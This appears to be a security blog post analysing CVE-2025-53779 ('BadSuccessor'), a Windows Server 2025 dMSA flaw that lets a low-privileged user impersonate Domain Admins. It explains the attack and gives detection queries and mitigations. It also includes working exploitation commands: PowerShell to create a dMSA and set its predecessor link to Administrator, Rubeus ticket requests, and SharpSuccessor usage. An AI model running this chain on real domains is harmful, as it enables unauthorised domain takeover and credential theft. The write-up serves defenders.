BadSuccessor Unveiled: CVE-2025-53779 Deep Dive into Windows Server 2025's dMSA Privilege Escalation

When Microsoft’s Latest Feature Becomes Your Domain’s Biggest Nightmare

TL;DR: CVE-2025-53779, dubbed “BadSuccessor,” is a Windows Kerberos privilege escalation vulnerability that exploits delegated Managed Service Accounts (dMSAs) in Windows Server 2025. By manipulating just two LDAP attributes, attackers can impersonate any user in Active Directory, including Domain Admins, without requiring high privileges or modifying target accounts. The attack works in 91% of examined environments and requires only common CreateChild permissions on any OU.

In the ever-evolving landscape of Active Directory security, Microsoft’s introduction of delegated Managed Service Accounts (dMSAs) in Windows Server 2025 was meant to simplify service account management. Instead, it opened a Pandora’s box that security researcher Yuval Gordon from Akamai discovered and aptly named “BadSuccessor.” This isn’t just another privilege escalation bug: it’s a fundamental design flaw that transforms the most basic AD permissions into a skeleton key for domain domination.

Understanding the Beast: What is CVE-2025-53779?

CVE-2025-53779 is a relative path traversal vulnerability in Windows Kerberos that received a CVSS 3.1 score of 7.2 (High). While Microsoft classifies it as “moderate” and rates exploitation as “less likely,” the security community strongly disagrees. This disconnect stems from the vulnerability’s deceptively simple exploitation requirements and devastating impact.

The vulnerability was publicly disclosed on May 21, 2025, by Yuval Gordon, who demonstrated how an attacker with minimal AD permissions could achieve complete domain compromise. Microsoft finally addressed it in their August 2025 Patch Tuesday, but the months-long exposure window has likely given adversaries ample opportunity to weaponize this technique.

Key Technical Details:

CVE ID: CVE-2025-53779
CVSS Score: 7.2 (High)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: High (misleading; see exploitation details below)
User Interaction: None
Scope: Unchanged
CWE: CWE-23 (Relative Path Traversal)

The dMSA Foundation: Understanding the Target

Before diving into the exploitation mechanics, it’s crucial to understand what makes dMSAs both innovative and vulnerable. Delegated Managed Service Accounts represent Microsoft’s attempt to modernize service account management by enabling seamless migration from legacy service accounts.

dMSA Migration Architecture

The migration process involves several key attributes:

On the dMSA object:

msDS-GroupMSAMembership: Authorized principals for the dMSA
msDS-ManagedAccountPrecededByLink: Distinguished Name of the superseded account
msDS-DelegatedMSAState: Migration state indicator

On the superseded account:

msDS-SupersededManagedAccountLink: Reference to the succeeding dMSA
msDS-SupersededServiceAccountState: Migration state mirror

The msDS-DelegatedMSAState attribute uses the following values:

0: Unknown/disabled
1: Migration in progress
2: Migration completed
3: Standalone dMSA

The Kerberos Integration That Broke Everything

During authentication, dMSAs exhibit a peculiar behavior that Gordon identified as the root cause of BadSuccessor. When a dMSA authenticates, the Key Distribution Center (KDC) doesn’t just build a Privilege Attribute Certificate (PAC) based on the dMSA’s own attributes: it inherits the PAC from whatever account is referenced in msDS-ManagedAccountPrecededByLink.

This inheritance mechanism is automatic, unverified, and, most critically, doesn’t validate that an actual migration occurred.

BadSuccessor Exploitation: From Theory to Domain Admin

The BadSuccessor attack exploits a fundamental assumption in the dMSA implementation: that the msDS-ManagedAccountPrecededByLink attribute only references accounts that legitimately underwent migration. By manipulating this assumption, attackers can forge inheritance relationships with any account in the domain.

Phase 1: Creating the Malicious dMSA

The first step requires identifying an OU where the attacker has CreateChild permissions. Contrary to the CVSS rating suggesting “High” privileges required, this permission is commonly granted to non-administrative users in 91% of examined environments.

# Identify vulnerable OUs using Akamai's detection script
Import-Module ActiveDirectory
.\Get-BadSuccessorOUPermissions.ps1

# Create a dMSA in an accessible OU
New-ADServiceAccount -Name "attacker_dmsa" -Path "OU=Apps,DC=corp,DC=local" -DNSHostName "attacker_dmsa.corp.local"

Phase 2: The Attribute Manipulation

Once the dMSA is created, the attacker needs to modify two critical attributes. As the creator/owner of the object, they have full permissions to make these changes:

# Set the target account (e.g., Domain Admin) as the "predecessor"
Set-ADObject -Identity "CN=attacker_dmsa,OU=Apps,DC=corp,DC=local" -Replace @{
    'msDS-ManagedAccountPrecededByLink' = 'CN=Administrator,CN=Users,DC=corp,DC=local'
    'msDS-DelegatedMSAState' = 2  # Migration completed
}

This simple attribute modification creates a “simulated migration” that the KDC interprets as legitimate. No verification occurs, no migration logs are generated, and the target account remains untouched.

Phase 3: Kerberos Authentication and PAC Inheritance

With the malicious dMSA configured, authentication becomes the privilege escalation vector. Using tools like Rubeus (which added dMSA support specifically for this research), attackers can request tickets that inherit the target account’s privileges:

# First, obtain a machine account TGT
Rubeus.exe tgtdeleg /nowrap

# Request a TGT for the malicious dMSA
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/corp.local /dmsa /opsec /nowrap /ptt /ticket:[machine_tgt]

# Request service tickets with inherited privileges
Rubeus.exe asktgs /user:attacker_dmsa$ /service:cifs/dc.corp.local /opsec /dmsa /nowrap /ptt

The resulting tickets contain a PAC with:

The dMSA’s SID
The target account’s SID (e.g., Administrator - RID 500)
All group memberships of the target account (Domain Admins, Enterprise Admins, etc.)

The Credential Harvesting Bonus

Beyond privilege inheritance, BadSuccessor offers an unexpected bonus: credential extraction. The dMSA’s TGT includes a KERB-DMSA-KEY-PACKAGE structure containing both current and previous keys. The “previous keys” field contains the RC4-HMAC hash of the target account’s password, effectively providing the attacker with the credential material needed for further attacks.

This behavior exists to ensure service continuity during legitimate migrations but becomes a credential harvesting mechanism when abused.

Real-World Attack Scenarios

Scenario 1: The Compromised Service Account

An attacker gains access to a service account with limited privileges but discovers they can create objects in an application OU. Within minutes, they escalate to Domain Admin:

Create a dMSA in the accessible OU
Configure it to impersonate the Domain Administrator
Authenticate and obtain DA-level access
Deploy persistence mechanisms across the domain

Scenario 2: The Insider Threat

A malicious insider with basic AD permissions leverages BadSuccessor for stealth escalation:

Target high-value accounts systematically
Extract credential hashes using the key inheritance feature
Maintain persistent access through multiple compromised identities
Exfiltrate sensitive data with administrative privileges

Scenario 3: The Red Team Assessment

Penetration testers discover the vulnerability during an engagement:

Enumerate OUs with create permissions using LDAP queries
Automate dMSA creation and configuration
Demonstrate domain compromise within hours of initial access
Document the attack path for remediation recommendations

Detection and Forensic Considerations

BadSuccessor presents unique challenges for detection because it operates within normal AD functionality. Traditional privilege escalation alerts focus on group membership changes or account modifications, neither of which occurs during a BadSuccessor attack.

Detection Strategies

LDAP Monitoring:

# Monitor for suspicious dMSA creations
Get-WinEvent -FilterHashtable @{
    LogName='Directory Service'
    ID=5137  # Object created
} | Where-Object {$_.Message -like "*msDS-DelegatedManagedServiceAccount*"}

Attribute Change Monitoring:

-- Monitor for msDS-ManagedAccountPrecededByLink modifications
SELECT * FROM SecurityEvent
WHERE EventID = 5136
AND AttributeLDAPDisplayName = 'msDS-ManagedAccountPrecededByLink'

Kerberos Anomaly Detection:

Monitor for dMSA TGT requests from unexpected sources
Analyze PAC contents for privilege mismatches
Flag service accounts requesting domain admin tickets

Forensic Artifacts

BadSuccessor leaves minimal forensic evidence:

dMSA object creation in non-standard OUs
Attribute modifications on dMSA objects
Unusual Kerberos authentication patterns
Service ticket requests with elevated privileges

The attack’s stealth characteristics make proactive monitoring essential.

Comprehensive Mitigation Strategies

Immediate Actions

1. Patch Application: Apply Microsoft’s August 2025 security updates immediately:

# Install latest updates
Install-WindowsUpdate -AcceptAll -AutoReboot

2. Permission Auditing: Use Akamai’s detection script to identify vulnerable OUs:

.\Get-BadSuccessorOUPermissions.ps1 | Export-Csv -Path "VulnerableOUs.csv"

3. Emergency ACL Hardening: Remove unnecessary CreateChild permissions:

# Example: Remove CreateChild for specific group
$ou = Get-ADOrganizationalUnit -Identity "OU=Apps,DC=corp,DC=local"
$acl = Get-Acl -Path "AD:\$($ou.DistinguishedName)"
# Remove specific ACEs for dMSA creation

Long-term Security Improvements

1. Principle of Least Privilege:

Audit all OU permissions regularly
Implement role-based access control
Use Privileged Access Management (PAM) solutions

2. Enhanced Monitoring:

# Implement continuous monitoring for dMSA activities
$filter = @{
    LogName = 'Directory Service'
    ID = @(5137, 5136, 5139)  # Created, Modified, Deleted
}
Get-WinEvent -FilterHashtable $filter | Where-Object {
    $_.Message -match "msDS-DelegatedManagedServiceAccount|msDS-ManagedAccountPrecededByLink"
}

3. Network Segmentation:

Isolate domain controllers
Implement Zero Trust architectures
Monitor east-west traffic for anomalies

The Broader Security Implications

BadSuccessor represents more than a single vulnerability: it highlights fundamental challenges in modern Active Directory security. The disconnect between Microsoft’s severity rating and the security community’s assessment reveals ongoing issues in vulnerability prioritization.

Lessons for Security Teams

Feature Risk Assessment: New AD features require thorough security evaluation before deployment
Permission Creep: Regular audits of seemingly “benign” permissions are crucial
Defense in Depth: No single control can prevent sophisticated attacks
Continuous Monitoring: Real-time detection capabilities are essential

Industry Impact

The vulnerability affects organizations running Windows Server 2025 domain controllers, regardless of actual dMSA usage. This “feature by default” approach means environments are vulnerable simply by upgrading their infrastructure.

Proof of Concept Tools and Resources

Several proof-of-concept tools have emerged to demonstrate BadSuccessor exploitation:

SharpSuccessor

A .NET-based tool by Logan Goins that automates the complete attack chain:

# Create malicious dMSA
SharpSuccessor.exe add /impersonate:Administrator /path:"ou=test,dc=lab,dc=lan" /account:jdoe /name:attacker_dMSA

# Cleanup after exploitation
SharpSuccessor.exe remove /name:attacker_dMSA /path:"ou=test,dc=lab,dc=lan"

Akamai’s Detection Script

The official Get-BadSuccessorOUPermissions.ps1 script helps identify vulnerable OUs and permissions.

Enhanced Rubeus

The updated version includes dMSA authentication support specifically for this research.

Conclusion: The New Normal of AD Security

CVE-2025-53779 fundamentally changes how we think about Active Directory privilege escalation. The ability to achieve domain compromise through seemingly innocuous permissions challenges traditional security models and emphasizes the need for comprehensive monitoring.

Key takeaways for security professionals:

Immediate Action Required: Patch Windows Server 2025 systems and audit OU permissions
Monitor dMSA Activity: Implement detection rules for suspicious dMSA creation and modification
Reassess Permissions: Review and restrict CreateChild permissions across all OUs
Plan for the Future: Consider BadSuccessor-style attacks in threat models and security architectures

The BadSuccessor vulnerability serves as a stark reminder that in cybersecurity, yesterday’s feature can become tomorrow’s attack vector. As organizations adopt new technologies like dMSAs, security teams must balance innovation with rigorous security assessment.

The months between disclosure and patching have likely given sophisticated adversaries time to develop and deploy BadSuccessor attacks. Organizations should assume potential compromise and implement comprehensive monitoring to detect any signs of exploitation.

In the arms race between attackers and defenders, BadSuccessor represents a significant escalation. The question isn’t whether this technique will be adopted by threat actors: it’s how quickly defenders can adapt their strategies to counter it.

Table of contents